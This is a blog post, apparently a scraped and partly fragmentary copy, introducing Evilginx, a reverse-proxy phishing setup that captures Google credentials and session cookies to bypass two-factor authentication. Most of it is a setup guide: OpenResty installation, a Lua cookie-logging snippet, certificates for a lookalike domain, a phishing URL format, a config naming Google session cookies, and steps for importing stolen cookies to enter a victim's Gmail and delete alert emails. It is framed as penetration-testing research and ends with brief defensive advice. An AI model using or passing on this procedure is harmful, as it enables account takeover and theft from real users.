Evilginx - Advanced Phishing With Two-Factor Authentication Bypass
Evilginx - Advanced Phishing With Two-Factor Authentication Bypass
org/>
* Home <https://breakdev.org/>
* E-mail <mailto:[email protected]>
* GitHub <https://github.com/kgretzky>
* Twitter <https://twitter.com/mrgretzky>
* Google+ <https://plus.google.com/u/0/101650735283323618463/>
* LinkedIn <https://www.linkedin.com/in/kubagretzky>
* Subscribe via Email
<https://feedburner.google.com/fb/a/mailverify?uri=breakdev&loc=en_US>
* Subscribe via RSS <https://feeds.feedburner.com/breakdev>
hacking <https://breakdev.org/tag/hacking/>
*
Kuba Gretzky
Kuba Gretzky
Welcome to my new post! Over the past several months I've been
researching new phishing techniques that could be used in penetration
testing assignments. Almost every assignment starts with grabbing the
low-hanging fruit, which are often employees' credentials obtained via
phishing.
In today's post I'm going to show you how to make your phishing
campaigns look and feel the best way possible.
Enjoy the video. If you want to learn more on how this attack works and
how you can implement it yourself, do read on.
How it works
Let's take few steps back and try to define main obstacles in
traditional phishing efforts.
Second issue with phishing templates is, they must allow to accept any
login and password, as they have no means of confirming their validity.
That will, at times, leave you with invalid credentials.
Evilginx Research
Nginx implements its own logging mechanism, which will log every request
in detail, including /POST/ body and also |cookies:| and |set-cookie:|
headers. I created a Python script named |evilginx_parser.py|, that will
parse the Nginx log and extract credentials and session cookies, then
save them in corresponding directories, for easy management.
Take a look at the following Nginx configuration line that specifies the
format in which log entries should be created:
|HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Set-Cookie: JSESSIONID=this_is_the_first_cookie; path=/; secure; HttpOnly
Set-Cookie: APPID=this_is_the_second_cookie; path=/;
Set-Cookie: NSAL33TTRACKER=this_is_the_third_cookie; path=/;
Server: nginx
Connection: close
|
After a while, I knew neither of the two options were viable. They would
have required me to spend huge amount of time, understanding the
internals of Nginx. Neither did I want to do it or did I have that
amount of time to spend on a side project.
|function get_cookies()
local cookies = ngx.header.set_cookie or {}
if type(cookies) == "string" then
cookies = {cookies}
end
return cookies
end
|
The big issue with logging cookies was resolved and the best part of it
was, LUA scripting allowed much more in terms of packet modification,
which wasn't allowed by vanilla Nginx, e.g. modification of response
packet headers.
Once our server is up and running, we need to log into it and perform
upgrades, just in case:
|apt-get update
apt-get upgrade
|
We will also need a domain that will point to our VPS. I highly
recommend buying one from NameCheap
<https://affiliate.namecheap.com/?affId=113593> (yes, this is my
affiliate link, thanks!). They have never let me down and support is top
notch.
I won't cover here how to set up your newly bought domain to point at
your newly bought VPS. You can find excellent tutorials on Digital Ocean:
For the remainder of this post, let's assume that our registered domain
is: *notreallygoogle.com* .
Installing OpenResty/Nginx
|mkdir dev
cd dev
wget https://openresty.org/download/openresty-1.11.2.2.tar.gz
tar zxvf openresty-1.11.2.2.tar.gz
cd openresty-1.11.2.2
|
|make
make install
|
If all went well, we can verify that /OpenResty/ was installed properly:
|root@phish:~# nginx -v
nginx version: openresty/1.11.2.2
|
[Service]
Type=forking
PIDFile=/run/nginx.pid
ExecStartPre=/usr/sbin/nginx -t
ExecStart=/usr/sbin/nginx
ExecReload=/bin/kill -s HUP $MAINPID
ExecStop=/bin/kill -s QUIT $MAINPID
PrivateTmp=true
[Install]
WantedBy=multi-user.target
EOF
|
Before we launch our service for the first time, we have to properly
configure Nginx.
Nginx configuration
|...
http {
include mime.types;
default_type application/octet-stream;
include /etc/nginx/sites-enabled/*;
...
}
|
Nginx, from now on, will look for our site configurations in
|/etc/nginx/sites-enabled/| directory, where we will be putting symbolic
links of files residing in |/etc/nginx/sites-available/| directory.
Let's create both directories:
We need to set up our phishing site configuration for Nginx. We will use
the site configuration for phishing Google users, that is included with
*Evilginx* package. Easiest way to be up-to-date is to clone Evilginx
GitHub repository <https://github.com/kgretzky/evilginx>.
EFF has released an incredibly easy to use tool for obtaining valid
SSL/TLS certificates from LetsEncrypt. It's called Certbot
<https://certbot.eff.org/> and we will use it right now.
|apt-get update
apt-get install certbot -t jessie-backports
|
If all went well, we should be able to obtain our certificates now. Make
sure Nginx is not running, as Certbot will need to open HTTP ports for
LetsEncrypt to verify ownership of our server. Enter the following
command and proceed through prompts:
On success, our private key and public certificate chain should find its
place in |/etc/letsencrypt/live/notreallygoogle.com/| directory.
*Evilginx*'s site configuration already includes a setting to use
SSL/TLS certificates from this directory.
Starting up
Everything is ready for launch. Make sure your Nginx daemon is enabled
and start it:
Check if Nginx started properly with |systemctl status nginx| and make
sure that both ports 80 and 443 are now opened by the Nginx process, by
checking output of |netstat -tunalp|.
If anything went wrong, try to retrace your steps and see if you did
everything properly. Do not hesitate to report issues in the comments
section below or even better, file an issue on GitHub
<https://github.com/kgretzky/evilginx>.
In order to create your phishing URL, you need to supply two parameters:
|https://accounts.notreallygoogle.com/ServiceLogin?
rc=https://www.youtube.com/watch?v=dQw4w9WgXcQ&rt=LSID
|
I assume, you've now tested your *Evilginx* setup with phishing for your
own account's session. Let's try to extract your captured data. Here is
the script's usage page:
|# ./evilginx_parser.py -h
usage: evilginx_parser.py [-h] -i INPUT -o OUTDIR -c CREDS [-x]
optional arguments:
-h, --help show this help message and exit
-i INPUT, --input INPUT
Input log file to parse.
-o OUTDIR, --outdir OUTDIR
Directory where output files will be saved.
-c CREDS, --creds CREDS
Credentials configuration file.
-x, --truncate Truncate log file after parsing.
|
Creds config file |google.creds|, made for Google, looks like this:
|[creds]
email_arg=Email
passwd_arg=Passwd
tokens=[{"domain":".google.com","cookies":["SID", "HSID", "SSID", "APISID",
"SAPISID", "NID"]},{"domain":"accounts.google.com","cookies":["GAPS", "LSID"]}]
|
It is very easy to create your own .creds config files if you decide to
implement phishing of other services for *Evilginx*.
If you supply the |-x/--truncate| argument, the script will truncate the
log file after parsing it. This is useful if you want to automate the
execution of the parser to run every minute, using |cron|.
Session cookies are saved in JSON format, which is fully compatible with
EditThisCookie
<https://chrome.google.com/webstore/detail/editthiscookie/fngmhnnpilhplaeedifhccceo
mclgfbg>
extension for Chrome. Just pick /Import/ option in extension's window
and copy-paste the JSON data into it, to impersonate the captured session.
Keep in mind that it is often best to clear all cookies from your
browser before importing.
After you've imported the intercepted session cookies, open Gmail for
example and you should be on the inside of the captured account.
Congratulations!
I figured, many of you may not be familiar with the method of hijacking
session tokens. I'd like to shed some light on the subject by answering
some questions that I often get.
Yes. When you import other account's session cookies into your browser,
the server has no other option than to trust that you are indeed the
person who logged into his own account.
The only variable, which is hard to control for the attacker is the
source IP address. Most web services, handling critical data, should not
allow the same session token to be used from multiple IP addresses at
the same time (e.g. banks). It would be wise to detect such scenario and
then invalidate the session token, requiring both parties to log in
again. As far as I've tested, Google doesn't care about the IP address
of the account that uses a valid session token. Attacker's IP can be
from different continent and still it wouldn't raise red flags for the
legitimate account owner.
I believe the only reason why Google does allow to simultaneously access
accounts from different IPs, using same session token, is user
experience. Imagine how many users switch their IPs, while they have
constant access to their Google services. They have Google signed in on
their phone and PC, they move between coffee shop, work and home, where
they use different wireless networks, VPNs or 3G/4G networks.
And, no, Google Chrome does not perform any OS fingerprinting to verify
legitimate owner's machine. It would be useless as it would provide less
protection for people using other browsers (Firefox, Safari, Opera) and
even if they did fingerprint the OS, the telemetry information would
have to be somehow sent to the server, during user's sign-in. This
inevitably would also allow hijacking.
*Does the account owner get any alerts when he tries to log into Google
through Evilginx phishing site?*
The attacker can easily delete the /"Unknown sign-in alert"/ e-mail
after getting access to the account, but there will be no way for him to
remove the push notification, sent to owner's Android phone.
Issue is, some people may ignore the alert, which will be sent exactly
after they personally sign into *Evilginx* phishing site. They may
understand the alert is a false positive, as they did sign in a minute
earlier.
*Edit (2017/04/07):*
Apparently U2F "security key" solutions check the domain you're logging
into when the two-factor token is generated. In such scenario the attack
won't work as the user won't be able to log in, because of the phishing
domain being present instead of the legitimate one.
At this point, the best thing you can do is change your password. Mature
services like Google will effectively invalidate all active session
tokens, in use with your account. Additionally your password will change
and the attacker won't be able to use it to log back in.
Google also provides a feature to see the list of all your active
sessions, where you can invalidate them as well.
Do *NOT* only check if the website, you are logging in to, has HTTPS
with secure lock icon in the address bar. That only means that the data
between you and the server is encrypted, but it won't matter if
benevolent attacker secures data transport between you and his server.
Most important is to check the domain in the address bar. If the address
of the sign-in page looks like this:
|https://accounts.mirrorgoogle.com/ServiceLogin?blahblah|, put the
domain name |mirrorgoogle.com| directly in Google search. If nothing
legitimate comes up, you may be sure that you are being phished.
Conclusion
If you are a penetration tester, feel free to use this tool in testing
security and threat awareness of your clients.
* Reverse Engineering
* Development of Security Software
* Web / Mobile Application Penetration Testing
* Offensive Tools for Red Team Assessments
As always, if you have any suggestions, ideas or you just want to say
/"Hi"/, hit me up on Twitter @mrgretzky <https://twitter.com/mrgretzky>
or directly via e-mail at [email protected] <mailto:[email protected]>.
Welcome back! It's been just a couple of weeks since Evilginx release
and I'm already swimming in amazing feedback. This encouraged me to
spend more time on this project and
<https://breakdev.org/evilginx-1-0-update-up-your-game-in-2fa-phishing/>
*
Kuba Gretzky
Kuba Gretzky <https://breakdev.org/author/kuba/>
<https://breakdev.org/sniping-insecure-cookies-with-xss/>
*
Kuba Gretzky
Kuba Gretzky <https://breakdev.org/author/kuba/>